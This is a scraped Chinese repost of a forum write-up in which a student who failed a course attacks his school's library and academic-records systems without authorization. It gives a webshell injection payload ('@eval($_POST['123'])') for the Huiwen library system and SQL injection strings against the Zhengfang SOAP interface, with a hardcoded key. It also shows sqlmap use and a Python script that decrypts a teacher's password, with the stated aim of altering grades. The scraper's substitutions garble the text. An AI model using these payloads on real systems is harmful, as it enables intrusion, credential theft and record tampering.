首页 » SEO优化 » php挂科了技巧_实战测试 您已挂科

php挂科了技巧_实战测试 您已挂科

访客 2024-11-12 0

扫一扫用手机浏览

文章目录 [+]

论坛好久没看到实战文章,我来写一篇。

那真是一个悲哀的故事。

php挂科了技巧_实战测试  您已挂科

我始终不明白我一个计网专业的学生为什么要学电路。
有一个逃课特殊多的孩子,老师给了60分,竟然过了。
我这边53分挂科。

php挂科了技巧_实战测试  您已挂科
(图片来自网络侵删)

这我就不愉快了。
呵呵。
只做测试,不改成绩。

学校主站给教务查询系统加了一个链接,但通过此处打开教务处,页面全是静态,不能很好的进行测试。
猜想在内网内可以,通过教务地址访问。

于是转移目标,先来从图书馆下手,等拿下图书馆,从图书馆代理过去搞。

图书馆乃开源的汇文图书管理系统,敏感信息透露,呵呵哒:

文件包含漏洞:

登入之后这边可以看到当前连接的数据库的一些信息:

至此我们可以随意修正图书管理系统的配置。

根据开源代码剖析,创造更新配置时期码未做过滤,

unction write_para( $strFileName, $strPara )

{

$fhandle = fopen( $strFileName, \公众wb\公众 );

if ( $fhandle )

{

$strPara = \公众<?php\n\"大众.$strPara.\"大众\n?>\"大众;

if ( fwrite( $fhandle, $strPara ) )

{

fclose( $fhandle );

$strMsg = \公众数据修正成功。
\"大众;

}

else

{

$strMsg = \"大众数据修正失落败。
\"大众;

}

}

else

{

$strMsg = \"大众数据修正失落败。
\"大众;

}

return $strMsg;

}

这样我们可以再在配置文件里插入任意内容,我们可以配置文件里追加一句话;

在配置全文索引文件夹路径时,修正

c:/hwopac/index/

c:/hwopac/index/\公众;@eval($_POST['123']);//

更新过配置后,内容保存在的配置文件为:

/include/hwopacpwd.php

于是连接`URL+/include/hwopacpwd.php`即可得到一句话webshell。

下面两个图片是在乌云看到的案例:

然而,我们学校图书馆的更新页面却是这样:

握草,怎么会这样。
那还真是个悲哀的故事。


猜想是运维职员在乌云看到干系案例,删除了该表单。
表单被删,貌似无解。

后来抽根烟想了想,能不能去网上找一个一样的系统,然后抓取修正那个修正的POST表单,google了一番,没找到可以利用的。

于是想到自己在页面布局添加表单,如下图的文本输入框:

审查元素插入如下标签:

<dd><input size=\"大众20\"大众 name=\公众fulltextPath\"大众 value=\"大众c:/hwopac/index/\"大众;@eval($_POST['123']);//\"大众 type=\"大众text\"大众></dd

此处的表单name值是通过源码审计看到的,案例中也有提现。

我们提交表单抓POST包,创造`fulltextPath`的值已经被提交:

测试连接`/include/hwopacpwd.php`,没有连接上:

我们再来看下这个图,仔细看,

你会创造实在不但是`fulltextPath`的值没有被加密,`user`的值也没有加密,同样可以被更换,于是淫荡的思路来了:

`POST`表单`user`值填写为:

libsys\"大众;@eval($_POST['123']);//

提交之后,即可菜刀连接`/include/hwopacpwd.php`,GOOD JOB!

恶意代码确实如此写入:

提机谋过,直接`SYSTEM`:

教务系统支配在内网的某台机器,为了防止外部攻击,他们做了一个外部的接口,所有页面静态化,很是蛋疼,我利用上述图书馆的机器对内网的教务机器进行了一通扫描,终于找到了他的实际地址:

正方教务系统同样供应了各种查询接口,我此处利用`service.asmx`的`BMCheckPassword`接口的注入:

官方给出了如下规范的POST数据包:

POST /service.asmx HTTP/1.1

Host: [url]www.baidu.com[/url]

Content-Type: text/xml; charset=utf-8

Content-Length: 784

SOAPAction: \"大众http://www.zf_webservice.com/BMCheckPassword\"大众

<?xml version=\"大众1.0\"大众 encoding=\公众utf-8\公众?>

<soap:Envelope xmlns:xsi=\公众http://www.w3.org/2001/XMLSchema-instance\"大众 xmlns:xsd=\公众http://www.w3.org/2001/XMLSchema\"大众 xmlns:soapenc=\公众http://schemas.xmlsoap.org/soap/encoding/\"大众 xmlns:tns=\公众http://tempuri.org/\"大众 xmlns:types=\公众http://tempuri.org/encodedTypes\公众 xmlns:soap=\"大众http://schemas.xmlsoap.org/soap/envelope/\公众>

<soap:Body soap:encodingStyle=\"大众http://schemas.xmlsoap.org/soap/encoding/\公众>

<q1:BMCheckPassword xmlns:q1=\"大众http://www.zf_webservice.com/BMCheckPassword\公众>

<strYHM xsi:type=\"大众xsd:string\公众>string</strYHM>

<strPassword xsi:type=\"大众xsd:string\公众>string</strPassword>

<xh xsi:type=\"大众xsd:string\"大众>string</xh>

<strKey xsi:type=\"大众xsd:string\"大众>KKKGZ2312</strKey>

</q1:BMCheckPassword>

</soap:Body>

</soap:Envelope>

上述`sKey = \"大众KKKGZ2312\"大众`为常量,有了`sKey`就可以去查询一些接口了。

`strYHM`表示用户名,我已经吓哭,彷佛都是用拼音:

此处没做过滤,直接布局语句利用Intruder模块:

jwc01' and (SELECT SUBSTR(TO_CHAR(KL),1,1) from yhb where yhm='jwc01')='a

`payoad`为:`a-z`、`A-Z`、`0-9`、`~!@#$%^&()_+[]{}\|<>:\"大众';`

不知为何用BurpSuite跑起来很慢。

我把POST数据包复制出来交给SQLMAP:

python sqlmap.py -r post.txt

GOOD JOB!

[14:31:40] [INFO] fetching tables for databases: 'CTXSYS, DBSNMP, DMSYS, EXFSYS, MDSYS, OLAPSYS, ORDSYS, OUTLN, SCOTT, SYS, SYSMAN, SYSTEM, TSMSYS, WMSYS, XDB, ZFXFZB'

[14:31:40] [INFO] the SQL query used returns 3389 entries

那么问题来了,几千个表,怎么找西席用户密码的表?幸亏我拼音好:

我挂科的是电子电工,老师叫张X,姓名对应的字段为XM,这拼音拼的啊。


这就好办了,用`--sql-shell`查询:

select from \"大众YHB\"大众 where XM = '张X';

恩~,得到密文为`U_rBKJ`,这是经由正方的分外加密的,我们用python脚本解开:

# python

# coding=utf-8

import sys

def crack_zhengfang( pwdhash, key=\"大众Encrypt01\"大众 ):

len_passwd = len( pwdhash )

len_key = len( key )

pwdhash = pwdhash[: len_passwd/2][::-1] + pwdhash[len_passwd/2 :][::-1]

passwd = ''

Pos = 0

for i in xrange( len_passwd ):

Pos %= len_key

Pos += 1

strChar = pwdhash

KeyChar = key[Pos-1]

ord_strChar = ord( strChar )

ord_KeyChar = ord( KeyChar )

if not 32 <= ( ord_strChar ^ ord_KeyChar ) <= 126 or not 0 <= ord_strChar <= 255:

passwd += strChar

else:

passwd += chr( ord_strChar ^ ord_KeyChar )

return passwd

if __name__ == '__main__':

if len(sys.argv) != 2:

print \"大众Usage: crackZF.py passwdhash\公众

sys.exit(1)

else:

print \"大众Password:\"大众, crack_zhengfang( pwdhash=sys.argv[1], key=\公众Encrypt01\公众 )

promote pythonDemo v5est0r$ python zhengfang.py \"大众U_rBKJ\"大众

Password: 716822

`Password: 716822`

接着登入该老师的教务系统,录入成绩。


录入成绩须要密码,密码??? 我根据官方给出的录入成绩密码字段没查到密码啊。


空的也弗成。

不急,逐步来。

太悲哀了,补考估计也会挂掉,太悲哀了。

本文作者:Binghe,转载自:https://bbs.ichunqiu.com/thread-18011-1-1.html

标签:

相关文章

QQ聊天恶搞代码技术背后的趣味与风险

人们的生活越来越离不开社交软件。在我国,QQ作为一款历史悠久、用户众多的社交平台,深受广大网民喜爱。在QQ聊天的过程中,恶搞代码的...

SEO优化 2025-03-02 阅读1 评论0

Python代码截屏技术与应用的完美融合

计算机屏幕截图已经成为人们日常生活中不可或缺的一部分。无论是分享工作成果、记录游戏瞬间,还是保存网页信息,屏幕截图都发挥着重要作用...

SEO优化 2025-03-02 阅读1 评论0

QQ无限刷礼物代码技术突破还是道德沦丧

社交平台逐渐成为人们生活中不可或缺的一部分。QQ作为我国最具影响力的社交软件之一,其丰富的功能吸引了大量用户。近期有关QQ无限刷礼...

SEO优化 2025-03-02 阅读1 评论0